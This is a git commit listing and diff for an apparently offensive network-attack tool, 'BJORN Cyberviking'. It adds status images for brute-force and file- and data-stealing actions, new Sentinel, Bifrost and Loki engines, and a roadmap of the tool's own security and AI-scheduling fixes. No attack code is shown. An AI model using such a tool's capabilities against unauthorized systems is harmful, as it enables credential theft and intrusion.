resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet1.bmp create mode 100644 resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce.bmp create mode 100644 resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce1.bmp create mode 100644 resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone.bmp create mode 100644 resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone1.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/0.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/100.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/25.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/50.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/75.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/AI.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/attack.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/attacks.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/auto.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/bjorn1.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/bluetooth.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/charging.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/charging1.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/connected.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/cred.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/data.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/ethernet.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/frise.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/gold.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/level.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/manual.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/money.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/networkkb.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/port.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/target.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/usb.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/vuln.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/wifi.bmp create mode 100644 resources/default_config/characters/MEDUSA/static/zombie.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE11.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE12.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE14.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE16.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE17.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE22.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE25.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE28.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE31.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE32.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE7.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner6.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner7.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner8.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner6.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner8.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce10.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce4.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce7.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce8.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce9.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce10.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce11.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce12.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce13.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce3.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce6.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce7.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce8.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL10.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL4.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL5.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL6.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH10.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH12.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH4.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH5.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet1.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce.bmp create mode 100644 resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce1.bmp create mode 100644 sentinel.py create mode 100644 web/css/pages/actions-studio.css create mode 100644 web/css/pages/attacks.css create mode 100644 web/css/pages/backup.css create mode 100644 web/css/pages/bifrost.css create mode 100644 web/css/pages/bjorn.css create mode 100644 web/css/pages/compat.css create mode 100644 web/css/pages/credentials.css create mode 100644 web/css/pages/dashboard.css create mode 100644 web/css/pages/database.css create mode 100644 web/css/pages/files.css create mode 100644 web/css/pages/loki.css create mode 100644 web/css/pages/loot.css create mode 100644 web/css/pages/netkb.css create mode 100644 web/css/pages/network.css create mode 100644 web/css/pages/scheduler.css create mode 100644 web/css/pages/sentinel.css create mode 100644 web/css/pages/shared.css create mode 100644 web/css/pages/vulnerabilities.css create mode 100644 web/css/pages/zombieland.css create mode 100644 web/css/zombieland.css create mode 100644 web/js/core/epd-editor.js create mode 100644 web/js/pages/bifrost.js create mode 100644 web/js/pages/loki.js create mode 100644 web/js/pages/sentinel.js create mode 100644 web_utils/bifrost_utils.py create mode 100644 web_utils/loki_utils.py create mode 100644 web_utils/sentinel_utils.py diff --git a/Bjorn.py b/Bjorn.py index 7f46f27..bac559e 100644 --- a/Bjorn.py +++ b/Bjorn.py @@ -235,8 +235,10 @@ class Bjorn: backoff_s = 1.0 while not self.shared_data.should_exit: try: - # Manual mode must stop orchestration so the user keeps full control. - if self.shared_data.operation_mode == "MANUAL": + # Manual/Bifrost mode must stop orchestration. + # BIFROST: WiFi is in monitor mode, no network available for scans. + current_mode = self.shared_data.operation_mode + if current_mode in ("MANUAL", "BIFROST", "LOKI"): # Avoid spamming stop requests if already stopped. if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive(): self.stop_orchestrator() @@ -257,7 +259,7 @@ class Bjorn: backoff_s = min(backoff_s * 2.0, 30.0) def check_and_start_orchestrator(self): - if self.shared_data.operation_mode == "MANUAL": + if self.shared_data.operation_mode in ("MANUAL", "BIFROST", "LOKI"): return if self.is_network_connected(): self.wifi_connected = True @@ -300,9 +302,14 @@ class Bjorn: self.orchestrator = None return - # Keep MANUAL sticky so supervisor does not auto-restart orchestration. + # Keep MANUAL sticky so supervisor does not auto-restart orchestration, + # but only if the current mode isn't already handling it. + # - MANUAL/BIFROST: already non-AUTO, no need to change + # - AUTO: let it be — orchestrator will restart naturally (e.g. after Bifrost auto-disable) try: - self.shared_data.operation_mode = "MANUAL" + current = self.shared_data.operation_mode + if current == "AI": + self.shared_data.operation_mode = "MANUAL" except Exception: pass @@ -313,19 +320,26 @@ class Bjorn: self.shared_data.orchestrator_should_exit = True self.shared_data.queue_event.set() # Wake up thread thread.join(timeout=10.0) - + if thread.is_alive(): logger.warning_throttled( "Orchestrator thread did not stop gracefully", key="orch_stop_not_graceful", interval_s=20, ) - return + # Still reset status so UI doesn't stay stuck on the + # last action while the thread finishes in the background. + else: + self.orchestrator_thread = None + self.orchestrator = None - self.orchestrator_thread = None - self.orchestrator = None + # Always reset display state regardless of whether join succeeded. self.shared_data.bjorn_orch_status = "IDLE" + self.shared_data.bjorn_status_text = "IDLE" self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" + self.shared_data.active_action = None + self.shared_data.update_status("IDLE", "") def is_network_connected(self): """Checks for network connectivity with throttling and low-CPU checks.""" @@ -441,6 +455,22 @@ def handle_exit( except Exception: pass + # 2c. Stop Sentinel Watchdog + try: + engine = getattr(shared_data, 'sentinel_engine', None) + if engine and hasattr(engine, 'stop'): + engine.stop() + except Exception: + pass + + # 2d. Stop Bifrost Engine + try: + engine = getattr(shared_data, 'bifrost_engine', None) + if engine and hasattr(engine, 'stop'): + engine.stop() + except Exception: + pass + # 3. Stop Web Server try: if web_thread_obj and hasattr(web_thread_obj, "shutdown"): @@ -517,6 +547,45 @@ if __name__ == "__main__": health_thread = HealthMonitor(shared_data, interval_s=health_interval) health_thread.start() + # Sentinel watchdog — start if enabled in config + try: + from sentinel import SentinelEngine + sentinel_engine = SentinelEngine(shared_data) + shared_data.sentinel_engine = sentinel_engine + if shared_data.config.get("sentinel_enabled", False): + sentinel_engine.start() + logger.info("Sentinel watchdog started") + else: + logger.info("Sentinel watchdog loaded (disabled)") + except Exception as e: + logger.warning("Sentinel init skipped: %s", e) + + # Bifrost engine — start if enabled in config + try: + from bifrost import BifrostEngine + bifrost_engine = BifrostEngine(shared_data) + shared_data.bifrost_engine = bifrost_engine + if shared_data.config.get("bifrost_enabled", False): + bifrost_engine.start() + logger.info("Bifrost engine started") + else: + logger.info("Bifrost engine loaded (disabled)") + except Exception as e: + logger.warning("Bifrost init skipped: %s", e) + + # Loki engine — start if enabled in config + try: + from loki import LokiEngine + loki_engine = LokiEngine(shared_data) + shared_data.loki_engine = loki_engine + if shared_data.config.get("loki_enabled", False): + loki_engine.start() + logger.info("Loki engine started") + else: + logger.info("Loki engine loaded (disabled)") + except Exception as e: + logger.warning("Loki init skipped: %s", e) + # Signal Handlers exit_handler = lambda s, f: handle_exit( s, diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..cb3e587 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,315 @@ +# BJORN Cyberviking — Roadmap & Changelog + +> Comprehensive audit-driven roadmap for the v2 release. +> Each section tracks scope, status, and implementation notes. + +--- + +## Legend + +| Tag | Meaning | +|-----|---------| +| `[DONE]` | Implemented and verified | +| `[WIP]` | Work in progress | +| `[TODO]` | Not yet started | +| `[DROPPED]` | Descoped / won't fix | + +--- + +## P0 — Security & Blockers (Must-fix before release) + +### SEC-01: Shell injection in system_utils.py `[DONE]` +- **File:** `web_utils/system_utils.py` +- **Issue:** `subprocess.Popen(command, shell=True)` on reboot, shutdown, restart, clear_logs +- **Fix:** Replace all `shell=True` calls with argument lists (`["sudo", "reboot"]`) +- **Risk:** Command injection if any parameter is ever user-controlled + +### SEC-02: Path traversal in DELETE route `[DONE]` +- **File:** `webapp.py:497-498` +- **Issue:** MAC address extracted from URL path with no validation — `self.path.split(...)[-1]` +- **Fix:** URL-decode and validate MAC format with regex before passing to handler + +### SEC-03: Path traversal in file operations `[DONE]` +- **File:** `web_utils/file_utils.py` +- **Issue:** `move_file`, `rename_file`, `delete_file` accept paths from POST body. + Path validation uses `startswith()` which can be bypassed (symlinks, encoding). +- **Fix:** Use `os.path.realpath()` instead of `os.path.abspath()` for canonicalization. + Add explicit path validation helper used by all file ops. + +### SEC-04: Cortex secrets committed to repo `[DONE]` +- **Files:** `bjorn-cortex/Cortex/security_config.json`, `server_config.json` +- **Issue:** JWT secret, TOTP secret, admin password hash, device API key in git +- **Fix:** Replaced with clearly-marked placeholder values + WARNING field, already in `.gitignore` + +### SEC-05: Cortex WebSocket without auth `[DONE]` +- **File:** `bjorn-cortex/Cortex/server.py` +- **Issue:** `/ws/logs` endpoint has no authentication — anyone can see training logs +- **Fix:** Added `_verify_ws_token()` — JWT via query param or first message, close 4401 on failure + +### SEC-06: Cortex device API auth disabled by default `[DONE]` +- **File:** `bjorn-cortex/Cortex/server_config.json` +- **Issue:** `allow_device_api_without_auth: true` + empty `device_api_key` +- **Fix:** Default to `false`, placeholder API key, CORS origins via `CORS_ORIGINS` env var + +--- + +## P0 — Bluetooth Fixes + +### BT-01: Bare except clauses `[DONE]` +- **File:** `web_utils/bluetooth_utils.py:225,258` +- **Issue:** `except:` swallows all exceptions including SystemExit, KeyboardInterrupt +- **Fix:** Replace with `except (dbus.exceptions.DBusException, Exception) as e:` with logging + +### BT-02: Null address passed to BT functions `[DONE]` +- **File:** `webapp.py:210-214` +- **Issue:** `d.get('address')` can return None, passed directly to BT methods +- **Fix:** Add null check + early return with error in each lambda/BT method entry point + +### BT-03: Race condition on bt.json `[DONE]` +- **File:** `web_utils/bluetooth_utils.py:200-216` +- **Issue:** Read-modify-write on shared file without locking +- **Fix:** Add `threading.Lock` for bt.json access, use atomic write pattern + +### BT-04: auto_bt_connect service crash `[DONE]` +- **File:** `web_utils/bluetooth_utils.py:219` +- **Issue:** `subprocess.run(..., check=True)` raises CalledProcessError if service missing +- **Fix:** Use `check=False` and log warning instead of crashing + +--- + +## P0 — Web Server Fixes + +### WEB-01: SSE reconnect counter reset bug `[DONE]` +- **File:** `web/js/core/console-sse.js:367` +- **Issue:** `reconnectCount = 0` on every message — a single flaky message resets counter, + enabling infinite reconnect loops +- **Fix:** Only reset counter after sustained healthy connection (e.g., 5+ messages) + +### WEB-02: Silent routes list has trailing empty string `[DONE]` +- **File:** `webapp.py:474` +- **Issue:** Empty string `""` in `silent_routes` matches ALL log messages +- **Fix:** Remove empty string from list + +--- + +## P1 — Stability & Consistency + +### STAB-01: Uniform error handling pattern `[DONE]` +- **Files:** All `web_utils/*.py` +- **Issue:** Mix of bare `except:`, `except Exception`, inconsistent error response format +- **Fix:** Establish `_json_response(handler, data, status)` helper; catch specific exceptions + +### STAB-02: Add pagination to heavy API endpoints `[DONE]` +- **Files:** `web_utils/netkb_utils.py`, `web_utils/orchestrator_utils.py` +- **Endpoints:** `/netkb_data`, `/list_credentials`, `/network_data` +- **Fix:** Accept `?page=N&per_page=M` query params, return `{data, total, page, pages}` + +### STAB-03: Dead routes & unmounted pages `[DONE]` +- **Files:** `web/js/app.js`, various +- **Issue:** GPS UI elements with no backend, rl-dashboard not mounted, zombieland incomplete +- **Fix:** Remove GPS placeholder, wire rl-dashboard mount, mark zombieland as beta + +### STAB-04: Missing constants for magic numbers `[DONE]` +- **Files:** `web_utils/bluetooth_utils.py`, `webapp.py` +- **Fix:** Extract timeout values, pool sizes, size limits to named constants + +--- + +## P2 — Web SPA Quality + +### SPA-01: Review & fix dashboard.js `[DONE]` +- Check stat polling, null safety, error display + +### SPA-02: Review & fix network.js `[DONE]` +- D3 graph cleanup on unmount, memory leak check + +### SPA-03: Review & fix credentials.js `[DONE]` +- Search/filter robustness, export edge cases + +### SPA-04: Review & fix vulnerabilities.js `[DONE]` +- CVE modal error handling, feed sync status + +### SPA-05: Review & fix files.js `[DONE]` +- Upload progress, drag-drop edge cases, path validation + +### SPA-06: Review & fix netkb.js `[DONE]` +- View mode transitions, filter persistence, pagination integration + +### SPA-07: Review & fix web-enum.js `[DONE]` +- Status code filter, date range, export completeness + +### SPA-08: Review & fix rl-dashboard.js `[DONE]` +- Canvas cleanup, mount lifecycle, null data handling + +### SPA-09: Review & fix zombieland.js (C2) `[DONE]` +- SSE lifecycle, agent list refresh, mark as experimental + +### SPA-10: Review & fix scripts.js `[DONE]` +- Output polling cleanup, project upload validation + +### SPA-11: Review & fix attacks.js `[DONE]` +- Tab switching, image upload validation + +### SPA-12: Review & fix bjorn.js (EPD viewer) `[DONE]` +- Image refresh, zoom controls, null EPD state + +### SPA-13: Review & fix settings-config.js `[DONE]` +- Form generation edge cases, chip editor validation + +### SPA-14: Review & fix actions-studio.js `[DONE]` +- Canvas lifecycle, node dragging, edge persistence + +--- + +## P2 — AI/Cortex Improvements + +### AI-01: Feature selection / importance analysis `[DONE]` +- Variance-based feature filtering in data consolidator (drops near-zero variance features) +- Feature manifest exported alongside training data +- `get_feature_importance()` method on FeatureLogger for introspection +- Config: `ai_feature_selection_min_variance` (default 0.001) + +### AI-02: Continuous reward shaping `[DONE]` +- Extended reward function with 4 new components: novelty bonus, repeat penalty, + diminishing returns, partial credit for long-running failed actions +- Helper methods to query attempt counts and consecutive failures from ml_features + +### AI-03: Model versioning & rollback `[DONE]` +- Keep up to 3 model versions on disk (configurable) +- Model history tracking: version, loaded_at, accuracy, avg_reward +- `rollback_model()` method to load previous version +- Auto-rollback if average reward drops below previous model after 50 decisions + +### AI-04: Low-data cold-start bootstrap `[DONE]` +- Bootstrap scores dict accumulating per (action_name, port_profile) running averages +- Blended heuristic/bootstrap scoring (40-80% weight based on sample count) +- Persistent `ai_bootstrap_scores.json` across restarts +- Config: `ai_cold_start_bootstrap_weight` (default 0.6) + +--- + +## P3 — Future Features + +### EPD-01: Multi-size EPD layout engine `[DONE]` +- New `display_layout.py` module with `DisplayLayout` class +- JSON layout definitions per EPD type (2.13", 2.7") +- Element-based positioning: each UI component has named anchor `{x, y, w, h}` +- Custom layouts stored in `resources/layouts/{epd_type}.json` +- `px()`/`py()` scaling preserved, layout provides reference coordinates +- Integrated into `display.py` rendering pipeline + +### EPD-02: Web-based EPD layout editor `[DONE]` +- Backend API: `GET/POST /api/epd/layout`, `POST /api/epd/layout/reset` +- `GET /api/epd/layouts` lists all supported EPD types and their layouts +- `GET /api/epd/layout?epd_type=X` to fetch layout for a specific EPD type +- Frontend editor: `web/js/core/epd-editor.js` — 4th tab in attacks page +- SVG canvas with drag-and-drop element positioning and corner resize handles +- Display mode preview: Color, NB (black-on-white), BN (white-on-black) +- Grid/snap, zoom (50-600%), toggleable element labels +- Add/delete elements, import/export layout JSON +- Properties panel with x/y/w/h editors, font size editors +- Undo system (50-deep snapshot stack, Ctrl+Z) +- Color-coded elements by type (icons=blue, text=green, bars=orange, etc.) +- Transparency-aware checkerboard canvas background +- Arrow key nudge, keyboard shortcuts + +### ORCH-01: Per-action circuit breaker `[DONE]` +- New `action_circuit_breaker` DB table: failure_streak, circuit_status, cooldown_until +- Three states: closed → open (after N fails) → half_open (after cooldown) +- Exponential backoff: `min(2^streak * 60, 3600)` seconds +- Integrated into `_should_queue_action()` check +- Success on half-open resets circuit, failure re-opens with longer cooldown +- Config: `circuit_breaker_threshold` (default 3) + +### ORCH-02: Global concurrency limiter `[DONE]` +- DB-backed running action count check before scheduling +- `count_running_actions()` method in queue.py +- Per-action `max_concurrent` support in requirements evaluator +- Respects `semaphore_slots` config (default 5) + +### ORCH-03: Manual mode with active scanning `[DONE]` +- Background scan timer thread in MANUAL mode +- NetworkScanner runs at `manual_mode_scan_interval` (default 180s) +- Config: `manual_mode_auto_scan` (default True) +- Scan timer auto-stops when switching back to AUTO/AI + +--- + +## Changelog + +### 2026-03-12 — Security & Stability Audit + +#### Security +- **[SEC-01]** Replaced all `shell=True` subprocess calls with safe argument lists +- **[SEC-02]** Added MAC address validation (regex) in DELETE route handler +- **[SEC-03]** Strengthened path validation using `os.path.realpath()` + dedicated helper +- **[BT-01]** Replaced bare `except:` with specific exception handling + logging +- **[BT-02]** Added null address validation in Bluetooth route lambdas and method entry points +- **[BT-03]** Added file lock for bt.json read/write operations +- **[BT-04]** Changed auto_bt_connect restart to non-fatal (check=False) +- **[SEC-04]** Cortex config files: placeholder secrets + WARNING field, already gitignored +- **[SEC-05]** Added JWT auth to Cortex WebSocket `/ws/logs` endpoint +- **[SEC-06]** Cortex device API auth now required by default, CORS configurable via env var + +#### Bug Fixes +- **[WEB-01]** Fixed SSE reconnect counter: only resets after 5+ consecutive healthy messages +- **[WEB-02]** Removed empty string from silent_routes that was suppressing all log messages +- **[STAB-03]** Cleaned up dead GPS UI references, wired rl-dashboard mount +- **[ORCH-BUG]** Fixed Auto→Manual mode switch not resetting status to IDLE (4-location fix): + - `orchestrator.py`: Reset all status fields after main loop exit AND after action completes with exit flag + - `Bjorn.py`: Reset status even when `thread.join(10)` times out + - `orchestrator_utils.py`: Explicit IDLE reset in web API stop handler + +#### Quality +- **[STAB-01]** Standardized error handling across web_utils modules +- **[STAB-04]** Extracted magic numbers to named constants + +#### SPA Page Review (SPA-01..14) +All 18 SPA page modules reviewed and fixed: + +**Pages fully rewritten (11 pages):** +- **dashboard.js** — New layout with ResourceTracker, safe DOM (no innerHTML), visibility-aware pollers, proper uptime ticker cleanup +- **network.js** — D3 force graph cleanup on unmount, lazy d3 loading, search debounce tracked, simulation stop +- **credentials.js** — AbortController tracked, toast timer tracked, proper state reset in unmount +- **vulnerabilities.js** — ResourceTracker integration, abort controllers, null safety throughout +- **files.js** — Upload progress, drag-drop safety, ResourceTracker lifecycle +- **netkb.js** — View mode persistence, filter tracked, pagination integration +- **web-enum.js** — Status filter, date range, tracked pollers and timeouts +- **rl-dashboard.js** — Canvas cleanup, chart lifecycle, null data guards +- **zombieland.js** — SSE lifecycle tracked, agent list cleanup, experimental flag +- **attacks.js** — Tab switching, ResourceTracker integration, proper cleanup +- **bjorn.js** — Image refresh tracked, zoom controls, null EPD state handling + +**Pages with targeted fixes (7 pages):** +- **bjorn-debug.js** — Fixed 3 button event listeners using raw `addEventListener` → `tracker.trackEventListener` (memory 